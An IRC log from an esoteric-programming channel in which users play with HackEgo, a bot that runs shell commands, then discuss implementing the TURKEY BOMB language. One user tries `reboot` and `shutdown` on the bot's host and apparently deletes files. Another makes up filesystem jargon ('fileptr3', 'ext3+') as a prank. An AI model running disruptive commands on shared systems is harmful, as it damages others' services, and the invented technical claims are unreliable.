16:25:01 <HackEgo> rootfs on / type rootfs (rw)|none on /sys type sysfs (rw,nosuid,nodev,noexec)|none on /proc type proc (rw,nosuid,nodev,noexec)|udev on /dev type tmpfs (rw,size=10240k,mode=755)|/dev/disk/by-label/PRGMRDISK1 on / type ext3 (rw,errors=remount-ro,data=ordered)|tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=755)|tmpfs on /dev/shm type
16:25:34 <MissPiggy> `cal
16:25:35 <HackEgo> March 2010 \ Sa Su Mo Tu We Th Fr \ 1 2 3 4 5 \ 6 7 8 9 10 11 12 \ 13 14 15 16 17 18 19 \ 20 21 22 23 24 25 26 \ 27 28 29 30 31 \
16:26:11 <AnMaster> `run mount | tail -n 2 | tr '\n' '|'
16:26:12 <HackEgo> proc on /var/chroots/egobot/proc type proc (rw)|/sys on /var/chroots/egobot/sys type sysfs (rw)|
16:26:17 <AnMaster> hm
16:26:28 <alise> asiekierka: gregor's an op here you know
16:26:35 <alise> you'll prolly be banned he doesn't like people abusing hackego
16:26:40 <asiekierka> What?
16:26:41 <alise> especially when it affects the host machine
16:26:46 <asiekierka> You told me i can do one destructive change
16:26:50 <asiekierka> You didn't specify anything else!
16:26:53 <Sgeo_> ` head /dev/urandom > sex.jpg
16:26:54 <alise> yes, i didn't think you'd try that one.
16:26:54 <HackEgo> No output.
16:27:01 <asiekierka> Actually I assumed it's YOUR bot
16:27:03 <alise> /usually/ people have some kind of discretion
16:27:03 <Sgeo_> `run head /dev/urandom > sex.jpg
16:27:04 <HackEgo> No output.
16:27:09 <alise> asiekierka: no. i do have root access to it though
16:27:10 <MissPiggy> alise what happened
16:27:12 <Sgeo_> `cat sex.jpg
16:27:13 <HackEgo> No output.
16:27:55 * Sgeo_ decides to end asiekierka's suffering
16:27:59 <alise> noooo!
16:28:00 <asiekierka> Yay!
16:28:04 <MissPiggy> `yes
16:28:05 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
16:28:05 <asiekierka> Wait
16:28:05 <alise> Sgeo_: don't restore the files
16:28:07 <asiekierka> what does that mean?
16:28:10 <alise> it'll break it
16:28:14 <alise> the file is symbolicly defined
16:28:17 <AnMaster> asiekierka, you fail at reading
16:28:20 <alise> ie a pointer to the host machiine
16:28:21 <AnMaster> that is what alise means
16:28:29 <alise> so you'll overwrite the drive if you write to hentai again
16:28:30 <MissPiggy> `echo $PATH
16:28:31 <HackEgo> $PATH
16:28:35 <MissPiggy> -_-
16:28:38 <scarf> oh, deleting a symlink isn't particularly problematic
16:28:39 <Sgeo_> Ok, n/m
16:28:40 <MissPiggy> `echo "$PATH"
16:28:41 <HackEgo> "$PATH"
16:28:49 <alise> scarf: but it's not a symlink
16:28:53 <alise> it's a fileptr3
16:28:56 <alise> i.e. an ext3+ field
16:29:07 <alise> containing symbolic references to the filesystem it's embedded in
16:29:08 <AnMaster> scarf, what about the magic symlinks in /proc that points to inodes or something?
16:29:11 <MissPiggy> `sudo apt-get install cowsay
16:29:12 <HackEgo> No output.
16:29:19 <AnMaster> rather than actual files. (if the file is open but deleted)
16:29:20 <asiekierka> `ls
16:29:21 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ sex.jpg \ share \ test.sh \ tmpdir.20271
16:29:25 <asiekierka> Uh-oh
16:29:28 <scarf> AnMaster: /proc has a separate filesystem just for that
16:29:30 <asiekierka> FAMILY FRIENDLY FILTTtttt---*ban*
16:29:34 <MissPiggy> `cowsay lol
16:29:35 <HackEgo> No output.
16:29:42 <alise> asiekierka: stop being a jerk
16:29:42 <Sgeo_> What's a cowsay?
16:29:45 <AnMaster> scarf, true. But it is somewhat confusing. The semantics I mean
16:29:56 * Sgeo_ needs to attend to clothing stuff now >.>
16:30:02 <scarf> F³?#
16:30:06 <scarf> s/#//
16:30:15 <alise> scarf: yeah
16:30:45 <AnMaster> alise, ext3+?
16:30:46 <alise> F₃₌ too, though
16:30:55 <alise> for the equalising properties in the host fileptr3
16:31:10 <Sgeo_> `run file sex.jpg
16:31:11 <HackEgo> sex.jpg: empty
16:31:14 <alise> hentai was F₃⁺, so the safety features are off (so that a direct pointer could be made)
16:31:18 <AnMaster> alise, see /msg
16:31:25 <alise> AnMaster: that fix won't work
16:31:32 <scarf> !bf ,[.,]!`run X='!bf ,[.,]!`run' echo $X "X='$X'"
16:31:44 <alise> F₃⁺s don't have the Ωγ-base property
16:31:45 <scarf> umm, EgoBot?
16:31:52 <alise> scarf: shit, it must have overwritten that segment too
16:31:53 <AnMaster> alise, no, but upgrade to ext4+. Or did they rename it ext5 yet?
16:32:02 <asiekierka> EgoBot is jealous that everyone hax0rs HackEgo but nobody touches EgoBot
16:32:05 <alise> AnMaster: well i wouldn't do anything without Gregor telling me to
16:32:07 <alise> ...unlike asiekierka
16:32:08 * alise sighs
16:32:17 * asiekierka shgis
16:32:30 <alise> i think he's being a real dick not taking this seriously
16:32:36 <alise> any objections to me just banning him now?
16:32:36 <AnMaster> who?
16:32:38 <alise> asiekierka
16:32:50 <asiekierka> No
16:32:51 <AnMaster> alise, you have op nowdays?
16:32:54 <alise> yeah
16:32:57 <AnMaster> I should be scared
16:33:00 <alise> hehe
16:33:00 <MissPiggy> assqueerska
16:33:08 <alise> i'd only actually use it against real abusers, like asiekierka
16:33:13 <AnMaster> suuure
16:33:32 * alise sets a ban on asiekierka (Egregious abuse of EgoBot; ^expiry=never)
16:33:39 <alise> asiekierka: just thought you might like to know
16:33:42 <Sgeo_> EgoBot?
16:33:46 <alise> everything since I said it wasn't protected
16:33:50 <alise> including by other people
16:33:54 <alise> is a complete crock of shit
16:33:56 <AnMaster> alise, s/EgoBot/HackBot/
16:33:59 <alise> Your gullibility knows no limits!
16:34:04 <scarf> alise: HackEgo, not EgoBot
16:34:10 <alise> oerjan: hey since when do you have ops
16:34:14 <MissPiggy> and mine :D
16:34:18 <alise> scarf: that was the last piece of the gullibility puzzle duh
16:34:21 <MissPiggy> I beleive anything ehird says
16:34:23 <MissPiggy> lol
16:34:23 <Sgeo_> My notice to asiekierka wasn't a crock of shit
16:34:40 <alise> Sgeo_: what did you say
16:34:47 <Sgeo_> /notice asiekierka You are aware that porn.jpg isn't actually a necessary file, right?
16:34:48 <alise> (note: depending on the answer i may not not lynch you)
16:34:57 <asiekierka> Yes, it is
16:34:58 <alise> ok, I won't not not lynch you
16:35:02 <asiekierka> Don't lie, Sgeo_
16:36:21 <AnMaster> Sgeo_, he didn't read what was actually said above, he only have himself to blame for that
16:36:45 <alise> we can't ask asiekierka how much he actually believed now because of course he'll say none of it :)
16:36:51 <asiekierka> I did
16:36:54 <asiekierka> In fact, I did
16:36:59 <asiekierka> Until Sgeo told m
16:37:00 <asiekierka> e
16:37:02 <AnMaster> mhm
16:37:03 <asiekierka> But hey, this was fun!
16:37:07 <asiekierka> Let's have such a party again! >D:
16:37:08 <asiekierka> err, >:D
16:37:10 <AnMaster> <asiekierka> `help
16:37:11 <AnMaster> <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:37:13 <alise> porn.jpg wasn't the thing we were talking about
16:37:14 <alise> hentai was.
16:37:16 <alise> so thar
16:37:24 <AnMaster> asiekierka, obviously you didn't read the help output
16:37:29 <alise> anyway, gawd, has asiekierka contributed a single worthwhile thing apart from DOBELA?
16:37:32 <asiekierka> No
16:37:34 <asiekierka> Never
16:37:34 <alise> even then it was a huge mess until Deewiant almost rewrote it
16:37:41 <asiekierka> I also contributed lameness
16:37:42 <asiekierka> idiocy
16:37:45 <asiekierka> laziness
16:37:50 <Sgeo_> Have I contributed a single worthwhile thing?
16:37:53 <asiekierka> Yes
16:37:55 <AnMaster> alise, hey, I also helped with it. Like pointing out some flaws early on
16:37:58 <asiekierka> `ls
16:37:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ sex.jpg \ share \ test.sh \ tmpdir.21507
16:38:05 <asiekierka> `cat sex.jpg
16:38:05 <HackEgo> This file is absolutely fake.
16:38:11 <asiekierka> `rm sex.jpg
16:38:11 <HackEgo> No output.
16:38:20 <alise> Sgeo_: Sure, you're not an idiot
16:38:20 <AnMaster> alise, iirc it was me who first made it able to do anything close to computations :P
16:38:44 <Sgeo_> Hm, thanks
16:38:49 <AnMaster> alise, but yes Deewiant did the main fixup of DOBELA
16:38:54 <AnMaster> alise, PSOX!
16:38:59 * AnMaster runs
16:39:00 <MissPiggy> PSOX lol
16:39:14 <alise> pee socks
16:39:26 <oerjan> alise: FEAR ME
16:39:31 <AnMaster> oerjan, on what grounds?
16:39:34 <alise> oerjan: no but since when :D
16:39:35 <alise> AnMaster: he's an op
16:39:38 <asiekierka> AnMaster: You mean
16:39:43 <asiekierka> Deewiant did over nine thousand fixups of DOBELA
16:39:48 <asiekierka> all over a few chat sessions
16:39:48 <AnMaster> oh, so he is
16:39:49 <asiekierka> all lasting hours
16:40:02 <alise> lowercase chi is a pretty letter
16:40:13 <AnMaster> asiekierka, I haven't contradicted that have I?
16:40:19 <AnMaster> alise, paste it
16:40:22 <AnMaster> I don't remember it
16:40:25 <alise> χ
16:40:27 <alise> χ(n)
16:40:29 <AnMaster> ah that one
16:40:38 <AnMaster> alise, looks like a "bendy" X here
16:40:41 <AnMaster> :P
16:40:42 <alise> yes
16:40:44 <alise> and it's lower
16:40:59 <AnMaster> alise, try to write lower case sigma on paper using a pencil
16:41:04 -!- nasa has joined.
16:41:07 <alise> why?
16:41:17 <AnMaster> wait, maybe not that one
16:41:26 * AnMaster tries to remember which one was the hard one
16:41:28 <MissPiggy> nasa
16:41:45 <AnMaster> it had lots of hooks in it's or such
16:41:50 <asiekierka> Hey, can I try `reboot
16:42:08 <AnMaster> alise, ah, lower case xi
16:42:18 <AnMaster> alise, ξ that is
16:42:25 <oerjan> alise: i'm not sure exactly when, because i wasn't told when it happened :D
16:42:31 <asiekierka> Can I?
16:42:33 <AnMaster> asiekierka, have fun
16:42:34 <alise> oerjan: you weren't an op a year ago i think
16:42:37 <asiekierka> ok
16:42:38 <asiekierka> `run reboot
16:42:40 <HackEgo> No output.
16:42:43 <asiekierka> `run shutdown
16:42:44 <HackEgo> No output.
16:42:46 <asiekierka> Rage! :(
16:42:48 <AnMaster> alise, indeed. in 1998 he wasn't I bet?
16:42:51 <MissPiggy> fish sandwich
16:42:58 <MissPiggy> ξ ZI
16:42:59 <AnMaster> alise, since I don't think this channel was registered then
16:43:01 <MissPiggy> X = KAI
16:43:09 <AnMaster> MissPiggy, ?
16:43:09 <alise> ---
16:43:09 <alise> c=
16:43:09 <alise> c=
16:43:10 <alise> ,
16:43:11 <pikhq> Good morrow.
16:43:12 <alise> written bitch
16:43:21 <MissPiggy> χ(G) CHROMATIC NUMBER
16:43:27 <AnMaster> alise, doesn't look close at all
16:43:33 <cpressey> Ooh, sparkly.
16:43:41 <AnMaster> cpressey, what?
16:43:55 <oerjan> alise: i think it's not many weeks ago
16:43:57 <AnMaster> MissPiggy, I'm not aware of what that is about?
16:44:05 <MissPiggy> LOOK UP CHROMATIC NUMBER
16:44:11 <AnMaster> -ChanServ- 5 oerjan +votsriRfA [modified 1 week, 2 days, 19:04:07 ago]
16:44:25 <AnMaster> MissPiggy, ah graph colouring
16:44:33 <scarf> hi nasa by the way; apologies for the offtopicness
16:44:35 <alise> oerjan: so only years and years before i'm an op then :D
16:44:39 -!- nasa has quit (Quit: Leaving).
16:44:44 <alise> TOO LATE
16:45:00 <AnMaster> bbl making food
16:45:12 <alise> making NUDE
16:45:58 <oerjan> alise: you'll have to develop some maturity first *duck*
16:46:01 <MissPiggy> thank you
16:46:11 <alise> i hear that happens around these ages
16:47:18 -!- MizardX has quit (Quit: reboot).
16:48:25 <oerjan> i'm kidding, i'm not mature either.
16:48:32 <alise> ban me
16:48:54 <MissPiggy> watch youtube
16:49:03 <oerjan> um that would mean finding out how this chanserv stuff actually _works_
16:49:30 * Sgeo_ should not be reading Station V3 right now
16:49:32 <scarf> oerjan: you don't need to mess with chanserv that much to ban someone
16:49:35 <scarf> /cs op #esoteric
16:49:40 <scarf> is enough to op yourself on the channel
16:49:44 <oerjan> ok
16:49:46 <scarf> (or /msg chanserv if your client doesn't do /cs)
16:49:52 <scarf> then you can just use the normal commands for kicking and banning
16:49:59 -!- ChanServ has set channel mode: +o oerjan.
16:50:00 <scarf> and deop yourself when you're finished
16:50:05 <alise> Uh oh
16:50:11 <alise> no wait oerjan
16:50:12 -!- daef has quit (Ping timeout: 258 seconds).
16:50:13 <alise> /op alise
16:50:14 <alise> DO IT NOW
16:50:23 <Sgeo_> lol
16:50:27 -!- oerjan has set channel mode: +b *!*alise@95.145.65.*.
16:51:19 <oerjan> ah power
16:51:24 <MissPiggy> PUDDING
16:51:24 <MissPiggy> ... (more info)
16:52:35 -!- oerjan has set channel mode: -b *!*alise@95.145.65.*.
16:53:17 -!- alise has joined.
16:53:20 <alise> Sexier than envelopes
16:53:29 <scarf> alise: heh, you weren't even on the server about 4 seconds before you joined
16:53:36 <alise> yeah i messed up my client a lil
16:53:51 <alise> scarf: can you explain the turkey bomb semantics you thought of that make it tc?
16:53:56 <alise> ooh wait
16:53:58 <alise> I can just ask cpressey!
16:54:00 <scarf> alise: I'm not sure I can remember
16:54:05 <alise> not that he'll have any clue :)
16:54:15 -!- oerjan has set channel mode: -o oerjan.
16:54:17 <scarf> but basically, the bomb gets passed after each person's done with their evaluating
16:54:35 <scarf> and there are two commands that involve passing the bomb, you treat those as gotos (one forwards, one back)
16:54:57 <scarf> then, all you need is for the three-trit operation to be something like shortcircuiting maximum
16:55:02 <alise> most of the types are actually completely useless, aren't they?
16:55:10 <scarf> and to have a defined order of evaluation for everything else
16:55:14 <scarf> and probably
16:55:24 <scarf> although you need quite a few just for usable infinite memory
16:55:25 <alise> (shortcircuiting maximum? Does that even make sense?)
16:55:33 <scarf> alise: yes, on numbers with a limited range
16:55:33 * Sgeo_ also needs to shave today :/
16:55:43 <scarf> oh, it wasn't shortcircuiting maximum of all three
16:55:44 <alise> scarf: also, NOMENCLATURE is basically like a hash table isn't it? except of turkey bomb stuff
16:55:48 <scarf> instead, the operation takes two at random
16:55:58 <scarf> alise: vaguely, except it's tied to variable names
16:56:02 <alise> right
16:56:03 <scarf> sort of like a typeglob in Perl
16:56:07 <alise> it's useless isn't it
16:56:17 <scarf> you expect me to figure that out from memory?
16:56:22 <alise> :D
16:56:30 <alise> i'm not exactly sure how to define PUDDING
16:56:48 <scarf> either in terms of everything that's in it, or in terms of everything that isn't in it
16:56:52 <scarf> you have two types of PUDDING, really
16:57:07 <MissPiggy> ... (more info)
16:57:11 <alise> But they are indistinguishable.
16:57:13 <scarf> also, you have to allow for removing AMICEDs into a pudding, that actually adds to the amount of state they have
16:57:15 <alise> They are both unknowable, and have infinite size.
16:57:21 <alise> scarf: what XD
16:57:29 <scarf> alise: AMICEDs have negative size
16:57:32 <alise> yes
16:57:35 <alise> well, no
16:57:37 <scarf> the only time you can use them at all is inside PUDDINGs, I think
16:57:40 <alise> er, yes
16:57:51 <alise> are you thinking of the right pooding
16:57:55 <scarf> a PUDDING that /doesn't/ contain a specified AMICED, therefore, contains information
16:58:06 <alise> PUDDING!!!!!
16:58:07 <alise> Attempts to deduce the existance of a HUMIDOR in the given PUDDING. The player to the left of the player holding the TURKEY BOMB has to keep drinking continuously while the computer/referee does their deducing.
16:58:07 <alise> GARNISH PUDDING
16:58:07 <alise> Convolutes the PUDDING with recent context drawn from the program. The player holding the TURKEY BOMB must pass it off.
16:58:07 <alise> IMAGINE PUDDING, PUDDING!
16:58:07 <alise> Returns a NOMENCLATURE indicating all the variables unchanged between two PUDDINGs.
16:58:08 <scarf> alise: whichever type has the WHEREFORE AIN'T operator
16:58:08 -!- MizardX has joined.
16:58:09 <alise> are the only pudding operations
16:58:16 <scarf> so yes, wrong type
16:58:17 <alise> scarf: oh ofc
16:58:19 <scarf> am I thinking HUMIDOR?
16:58:41 <alise> no it is pudding
16:58:46 <alise> so the base pudding represents everything
16:58:48 <alise> ALL BUT removes something from it
16:58:55 <alise> WHEREFORE ART EXPR
16:58:55 <alise> Returns a PUDDING indicating the entire metaphysical nature of EXPR.
16:58:57 <alise> No fucking idea.
16:59:01 <scarf> nor me
16:59:17 <scarf> that operation is, at least, relatively easy to define
16:59:20 <scarf> just hard to implement
16:59:20 <alise> ooh, I know
16:59:34 <alise> the entire metaphysical nature of an expression is the representation of that expression in the implementation
16:59:37 <alise> embedded into turkey bomb itself
17:00:07 <scarf> remember to have the turkey bomb be a reference to itself; that's one of the easiest things to do in the entire impl, but possible to forget about
17:00:43 <alise> Uh, really?
17:00:54 <alise> Anyway, turkeyBomb = [turkeyBomb] suffices in Haskell, I think.
17:01:06 <alise> It's a distinct value from turkeyBomb, but you can get to turkeyBomb through it.
17:01:08 <scarf> you need to also do it at the type level
17:01:16 <alise> Unfortunately, it doesn't type
17:01:19 <alise> scarf: mm
17:01:22 <scarf> yep, that's the issue
17:01:30 <scarf> you want a TurkeyBomb type which is a reference to a TurkeyBomb
17:01:37 <scarf> in C++, at least, you can do it with casts
17:01:37 <alise> Here's what I basically did:
17:01:58 <alise> struct turkey_bomb {
17:01:58 <alise> struct turkey_bomb *turkey_bomb;
17:01:58 <alise> } turkey_bomb = {&turkey_bomb};
17:02:07 <alise> A struct with one element is isomorphic to just that element, so...
17:02:28 <scarf> yep, that's another possibility
17:02:39 <alise> the worst thing is that you need type tags
17:02:41 <alise> so everything has to be a struct
17:02:49 <scarf> ugh
17:02:49 <alise> but that helps in this case
17:02:54 <alise> if we have struct { tag foo; the real value }
17:02:59 <scarf> how are you going to deal with the types which are smaller than a pointer?
17:03:02 <alise> then our tagged turkey bomb isn't even relying on struct { x } isomorphing
17:03:08 <alise> scarf: padding, obviously
17:03:23 <scarf> hmm, my start at a C++ impl had padding, but only where necessary
17:03:27 <scarf> and the padding didn't contain values
17:03:40 <alise> hmm; PUDDINGs represent everything minus some things
17:03:51 <alise> so we should represent the turkey bomb universe as an infinite (uncountably so?) data structure
17:03:51 <MissPiggy> PUDDING
17:03:52 <scarf> I mean, if a type's defined to contain two thirds of a bit plus half a trit, you can't have it as large as 4 bytes just to stick a pointer in there
17:03:59 <alise> then turkey bomb can be the index to turkey bomb in the universe
17:04:52 <scarf> you also need to keep track of who owns the turkey bomb at any given moment, but that can be done separately
17:05:04 <scarf> (and I'm not entirely sure what to do when it explodes)
17:06:27 <alise> a BI_IT is 1.14666... bits i think
17:06:39 <alise> so store it as a char and use the 2 least significant bits
17:07:22 <scarf> what's more fun is trying to combine multiple BI_ITs back into values
17:08:12 <alise> a BI_IT has a range of ~2.6696797083400683 values, apparently
17:08:22 <alise> not entirely sure what that implies, but
17:09:55 <oerjan> 06:42:26 <AnMaster> and when I stepped out of the bus when I arrived, and looked back at the bus I was in
17:09:59 <oerjan> 06:42:30 <AnMaster> it said "not in traffic"
17:10:17 <oerjan> theory: it was an extra (rush hour) bus going only to your end station
17:10:47 <oerjan> happens occasionally in trondheim
17:11:04 <alise> [17:03] alise: hmm; PUDDINGs represent everything minus some things
17:11:05 <alise> [17:03] alise: so we should represent the turkey bomb universe as an infinite (uncountably so?) data structure
17:11:05 <alise> [17:03] alise: then turkey bomb can be the index to turkey bomb in the universe
17:11:09 <alise> scarf: does ^ sound promising to you?
17:11:41 -!- kar8nga has joined.
17:12:01 <alise> In the drinking game, whenever an INDECENT GRUBSTEAK is involved in an expression, everyone starts chanting "BANG BANG BANG!!!" until the player holding the TURKEY BOMB either finishes their drink and starts another, or falls down (in which case someone who hasn't been playing should take him or her home).
17:12:05 <alise> this is like forcing evaluation isn't it?
17:12:09 <alise> finishing drink = totally evaluating
17:12:15 <alise> falls down = fails somehow
17:12:21 <alise> BANG BANG BANG!!! is, I don't know, outpu
17:12:22 <alise> t
17:13:41 <MissPiggy> THIS IS NOT COPYRIGHT INFRIGNEMENT, IT WAS MADE BY PEOPLE
17:13:41 <MissPiggy> ... (more info)
17:14:47 <alise> with negative amiced ... I wonder if typeOf (NEGATIVE_AMICED ...) = AMICED or NEGATIVE_AMICED; it doesn't really matter except for size
17:14:59 <alise> and for size we want to consider the size if it were an AMICED; i.e. the negated size of the NEGATIVE_AMICED
17:15:09 <MissPiggy> ooooooooooo
17:15:29 <alise> GRUBSTEAK
17:15:29 <alise> A fraction whose numerator is a perfect square and whose denominator is a prime number.
17:15:30 <alise> No bigger than necessary.
17:15:30 <alise> IMPROPER GRUBSTEAK
17:15:30 <alise> A GRUBSTEAK whose denominator is less than the square root of the numerator.
17:15:30 <alise> Same as GRUBSTEAK.
17:15:54 <alise> scarf: the former seems to suggest we need a dynamic representation of grubsteaks. and are grubsteaks that satisfy the improper condition improper grubsteaks? so really improper is just a property of grubsteaks...
17:16:10 <alise> indecent grubsteaks are totally different though
17:16:12 <scarf> yes, I think so to
17:16:50 <scarf> *too
17:18:04 <alise> then I will have types GRUBSTEAK and IMPROPER_GRUBSTEAK, and have typeOf decide based on the contents of the GRUBSTEAK value
17:19:43 * alise wonders if WITH GUSTO is a different type
17:19:50 <alise> the size is different and all the operations must be different
17:19:52 <alise> so yes, I think
17:23:14 -!- Deewiant has quit (Ping timeout: 246 seconds).
17:24:47 * alise tries to think of how to represent 1 and 2/3rds of a bit
17:24:58 <asiekierka> `ls
17:24:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.22864
17:25:07 <Sgeo_> What happened to the porn?
17:25:08 <Sgeo_> :(
17:25:19 <alise> scarf: I demand you think of a representation!
17:25:59 <scarf> alise: I just used a separate bit for the bit and the trit part, but I think that's cheating; it does give the right values if you ignore the fractional bits of padding, though
17:26:00 <oerjan> Sgeo_: polish censorship
17:26:05 <asiekierka> You mean the tri-F
17:26:11 <alise> scarf: Those bits of padding are important!
17:26:14 <scarf> (the fractional bits of padding show up as various /combinations/ of bi_its leading to weird results)
17:26:15 <asiekierka> Take a wild guess what it means
17:26:32 <Sgeo_> Family Friendly F*cking?
17:26:37 <asiekierka> Close
17:26:38 <asiekierka> Family Friendly Filter
17:26:42 <asiekierka> But both work just as well
17:27:23 -!- oerjan has quit (Quit: Fucking Friendly Families For Fun).
17:27:32 -!- Deewiant has joined.
17:29:22 <alise> newtype FiveOverThreeBits = FiveOverThreeBits Int
17:29:22 <alise> WFM
17:30:05 <MissPiggy> ??????????
17:31:23 <alise> there's a slight issue in that i think the maximum value 5/3 bits can represent may be irrational
17:31:47 <alise> cube root of 32 anyway
17:33:47 * Sgeo_ is a Station V3 addict
17:35:25 <alise> scarf: who would have thought implementing turkey bomb correctly would require computable reals?
17:35:32 <scarf> heh
17:36:06 <alise> ah
17:36:55 <alise> scarf: 0 ≤ x³ ≤ 32 where x is a BI_IT
17:37:18 <scarf> sure it's not < 32?
17:37:20 <alise> erm
17:37:23 <alise> scarf: 0 ≤ (x+1)³ ≤ 32 where x is a BI_IT
17:37:34 <scarf> now you have the /lower/ bound wrong
17:37:44 <alise> :D
17:37:50 <alise> well, it's 5/3 bits
17:37:55 <alise> 2^(5/3) = 3√32
17:38:01 <scarf> yep
17:38:08 <alise> 2^2 = 4
17:38:18 <alise> 2 bits can store 0 to 3
17:38:33 <scarf> 2 bits is more than enough, 1 is not enough
17:38:33 <alise> so 0 ≤ x ≤ 3
17:38:46 <alise> so what is it actually
17:38:52 <alise> if we want the regular zero to n inclusive
17:39:00 <alise> 0 < (x+1)³ ≤ 32?
17:40:40 <alise> it doesn't actually say BI_ITs are unsigned, acutally
17:40:41 <alise> *actually
17:40:45 <alise> cpressey: are BI_ITs signed or unsigned? :P
17:44:10 <alise> scarf: heh, NEGATIVE_AMICEDs are (6*log(10))/(7*log(2)) bits big
17:44:30 <scarf> that's bound to simplify
17:44:39 <cpressey> alise: Yes.
17:44:40 <cpressey> Om
17:45:21 <alise> scarf: not that expression, no: http://www.wolframalpha.com/input/?i=6%2F7+*+log%282%2C10%29&a=*FunClash.log-_*Log.Log10-
17:45:24 * Sgeo_ could easily stay here reading Station V3 all day instead of going to school
17:45:29 <alise> but 0 <= x < 2^((6*log(10))/(7*log(2))), yes, probably.
17:45:38 <alise> Sgeo_: So do so! :P
17:45:44 <alise> yeah
17:45:48 <alise> 0 <= x < 10^(6/7)
17:46:47 <alise> ... wait, that's obvious. Uh, I think.
17:46:56 <scarf> yes, it is obvious
17:47:04 <alise> yeah i'm not thinking all too clearly atm
17:47:06 <MissPiggy> :(
17:48:31 <AnMaster> <oerjan> theory: it was an extra (rush hour) bus going only to your end station <-- except I don't live at an end station
17:48:32 -!- asiekierka has quit (Ping timeout: 240 seconds).
17:48:55 <alise> scarf: so the condition is 0 <= x^7 < 10^6
17:49:20 <scarf> alise: you keep assuming there are an integral number of possibilities
17:49:21 <AnMaster> * oerjan has quit (Quit: Fucking Friendly Families For Fun) <-- interesting quit message
17:49:30 <AnMaster> I'm surprised that scarf didn't comment upon it
17:49:34 <MissPiggy> figari
17:49:46 <scarf> AnMaster: I missed it, but I will continue to not comment on it
17:50:09 <alise> scarf: howso
17:50:53 <AnMaster> cpressey, so what about that spec before?
17:51:03 <AnMaster> I don't remember you commenting any further on that early draft
17:51:13 <AnMaster> scarf, you just commented on it by replying to me there
17:51:16 <AnMaster> :P
17:51:34 <scarf> AnMaster: not directly
17:51:37 <scarf> alise: context?
17:51:45 <alise> "alise: you keep assuming there are an integral number of possibilities"
17:51:56 <AnMaster> scarf, indirectly also counts
17:52:01 <scarf> alise: because you're working out the largest integer that fits in x
17:52:43 <alise> right you are. i should have slept more last night :|
17:52:51 <alise> especially when doing turkey bomb
17:53:09 <alise> I think n > 0 && n^3 < 32 is still sound though
17:53:18 <alise> argh, fucking haskell
17:53:22 <cpressey> AnMaster: Sorry, I probably won't be able to get around to it soon... too much real work.
17:53:23 <alise> I can't do exponentials with a Rational
17:53:25 <alise> because it's not a Floating
17:53:31 <AnMaster> cpressey, okay
17:54:05 <AnMaster> cpressey, I expect there will be updates to it, so better check in irc logs for last version when you *do* decide to read it.
17:55:18 <alise> scarf: it seems to work
17:55:22 <alise> so i'm not sure I follow
17:55:31 <scarf> meh, never mind
17:55:38 <alise> noo don't say that
17:57:36 <AnMaster> <alise> argh, fucking haskell <-- I never, ever, thought I would hear you say that
17:57:51 <AnMaster> alise, anyway, it does sound like a strange restriction
17:58:48 <alise> data SixSeventhsOfADecimalDigit = SixSeventhsOfADecimalDigit Rational deriving (Show)
17:58:49 <alise> negativeAmicedGuts :: Rational -> Maybe SixSeventhsOfADecimalDigit
17:58:49 <alise> negativeAmicedGuts n
17:58:49 <alise> | n >= 0 && n^7 < 10^6 = Just (SixSeventhsOfADecimalDigit n)
17:58:49 <alise> | otherwise = Nothing
17:58:54 <MissPiggy> what are you doing???????
17:59:07 <AnMaster> for integer exponents it is trivial to implement. Somewhat more involved for non-integers.
17:59:17 <alise> MissPiggy: implementing TURKEY BOMB
17:59:18 <scarf> MissPiggy: failing to implement TURKEY BOMB
17:59:19 <alise> http://catseye.tc/projects/turkeyb/doc/turkeyb.html
17:59:22 <alise> scarf: oi
17:59:27 <alise> scarf: i'm not failing!
17:59:34 <scarf> you will be eventually
17:59:51 <AnMaster> alise, what about ZILCH?
18:00:00 <alise> data Value = ZILCH | ...
18:00:12 <alise> just like data () = (), it carries 0 bits of information and can be omitted everywhere
18:00:22 <scarf> more fun going on over at SCO, btw; Darl McBride, the former CEO, is now trying to buy some of its stuff off it
18:00:37 -!- lament has quit (Ping timeout: 268 seconds).
18:00:53 <AnMaster> huh
18:01:04 <AnMaster> scarf, any patents?
18:01:07 <AnMaster> I guess
18:01:11 -!- lament has joined.
18:01:15 <scarf> AnMaster: no patents
18:01:25 <scarf> the bizarre list I wrote in-channel earlier was a list of some of it, though
18:01:42 * AnMaster looks for that list
18:01:47 <AnMaster> where?
18:01:51 <alise> 05:14:57 <scarf> snowplow, grassroots, mobile OE, MPSEB Indian utility co. meter reading, Delhi traffic police, Citibank demo documentation, Disprax (fake screen shots only), Jackson Builders, Aston Villa, NREGA employment census, smnp hardware monitoring, NDPL power, PG Call Home
18:01:56 <alise> They own Delhi traffic police?
18:01:56 <scarf> I think it's a list of companies that they gave demos to, or something
18:01:57 <AnMaster> ah
18:02:05 <alise> And Aston Villa!
18:02:12 <scarf> alise: ownership seems unlikely, it's more likely to be some sort of joint projec
18:02:14 <scarf> *project
18:02:26 <alise> "TRIVIA CONCERNING type
18:02:26 <alise> Three references: one to an object of the named type, two to TRIVIA objects."
18:02:30 <alise> Two to trivia objects of... any type?
18:02:31 <alise> Okay.
18:02:32 <scarf> although, it wouldn't surprise me if Darl thought SCO did learn all that list
18:02:41 <scarf> *did own
18:02:55 <scarf> the funny thing is, he's offering $35,000, and some people are trying to outbid him
18:03:01 <AnMaster> ...
18:03:08 <AnMaster> grassroots?
18:03:11 <AnMaster> as in, the lawns?
18:03:13 <scarf> my theory is that he's trying to drain $35,000 from the open-source community by getting them to buy a worthless list of random
